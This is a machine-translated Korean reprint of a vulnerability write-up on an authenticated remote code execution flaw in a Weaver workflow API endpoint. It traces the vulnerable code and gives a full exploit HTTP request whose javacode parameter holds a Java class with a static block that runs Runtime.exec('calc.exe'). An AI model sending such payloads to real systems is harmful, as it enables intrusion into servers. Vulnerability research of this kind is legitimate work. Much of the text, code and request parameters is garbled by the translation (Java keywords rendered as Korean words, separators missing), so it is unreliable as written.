제목 : Micro-1day Backend RCE 감사 취약점

특정 응용 프로그램에는 배경 RCE가 있습니다. 관련 정보에 따르면, 우리는 백그라운드 감사 프로세스에서 Newinstance Instantiation에 대한 전화를 찾았습니다.
1049983-20221230170129034-671147105.jpg

소스를 추적하고 interfaceregistercustomoperationcmd #excute를 찾으십시오
1049983-20221230170129956-1020521781.jpg
1049983-20221230170130646-385254389.jpg
1049983-20221230170131290-137097182.jpg
1049983-20221230170131980-1777197742.jpg
액세스 경로는/api/integration/workflowflow/getInterfacereGisterCustomOperation입니다
getInterFaceRegisterCustomOperation 호출 Execute, 먼저 사용자를 판단하므로 배경 취약점이 있습니다.
1049983-20221230170132700-2106793641.jpg

이 오염 기능 JavacodetooBject가 필요하기 때문에 IF 및 제어 조건을 충족해야합니다. VAR18 및 VAR20
1049983-20221230170133379-129851401.jpg

여기에 VAR14를 추가해야합니다
1049983-20221230170134013-1295699688.jpg

var14의 값은 Post 메소드가 이전에 지정되어 있으므로 요청 매개 변수 메소드에서 얻습니다. 여기 메소드=추가
1049983-20221230170134726-485666733.jpg

판단을 입력 한 후에는 VAR15의 값이 비어 있으면 반환되므로 ActionID의 값은 비어 있지 않습니다. 위 조건과 결합하여 Method=addActionId=1입니다
1049983-20221230170135481-1496417566.jpg

var18의 시작이 weaver.interfaces.workflow.action.javacode.action이 다음 판단을 입력하여 예외를 발생시켜 원하는 결과를 얻을 수 없습니다. 여기 ClassName=weaver.interfaces.workflow.action.javacode.action, 위 매개 변수 메소드와 결합=addActionId=1className=weaver.interfaces.workflow.action.javacode.action
1049983-20221230170136238-102379160.jpg

다음 var20 값은 위의 페이로드 메소드와 결합 된 Javacode 매개 변수에서 가져옵니다.
1049983-20221230170136847-546769203.jpg

var18에 weaver.interfaces.workflow.action.javacode에 javacodetoobject 호출이 원하는 경우, classname=weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode.action은 연결에 사용됩니다. 그렇지 않으면 로딩 예외 가보고됩니다.
1049983-20221230170137504-33586078.jpg

상기 조건에 따라 VAR18 및 VAR20 조건이 충족되었습니다. 구성된 Var20의 매개 변수는 javacode=package weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode입니다. import java.io.ioexception; 공개 클래스 테스트 {static {try {runtime.getRuntime (). exec ( 'calc.exe'); } catch (ioexception e) {e.printstacktrace (); }}} 여기서 명령에 의해 실행 된 코드는 static의 코드가 인스턴스화 중에 자동으로 실행되므로 명령 실행이 달성되므로 정적 코드 블록에 배치됩니다.
1049983-20221230170138280-888687245.jpg

실제 패키지는 성공적으로 사용되지 않은 것 같습니다. 코드를 되돌아 보면 매개 변수가 손실되었음을 알았습니다. dtinfo_customparameterData
Post/API/통합/워크 플로우/GetInterfacereGisterCustomOperation HTTP/1.1
호스트 :
업그레이드-보안 요청 : 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewebkit/537.36 (Gecko와 같은 KHTML) Chrome/105.0.0.0 Safari/537.36 EDG/105.0.1343.33
accept: 텍스트/html, 응용 프로그램/xhtml+xml, application/xml; q=0.9, image/webp, image/apng,*/*; q=0.8, application/signed-exchange; v=b3; q=0.9
accept-encoding: gzip, deflate
허용 : ZH-CN, ZH; Q=0.9, en; q=0.8, en-gb; q=0.7, en-us; q=0.6
Cookie: Ecology_jsessionID=aaa8g6prbnnbd82yi6fky; jsessionId=aaa8g6prbnnbd82yi6fky; __Randcode __=D2FA15E2-395E-4B3B-A004-82FC07C18695; loginidweaver=1; LanguageWeaver=7; loginuuids=1
Connection: 닫기
Content-Type: Application/X-WWW-FORM-URLENCODED
컨텐츠 길이 : 548
Method=addActionId=1className=weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode.testdtinfo_customparameterdata=11javacode=package weaver.interfaces.workflow.action.javacode.caper.weaver.weaver.interface.interface.comation.comation.
import java.io.ioexception;
공개 수업 테스트 {
정적 {
노력하다 {
runtime.getRuntime (). exec ( 'calc.exe');
} catch (ioexception e) {
e.printstacktrace ();
}
}
}
1049983-20221230170139043-1135092367.png

재 인쇄 : https://xz.aliyun.com/t/11947
 
뒤로
상단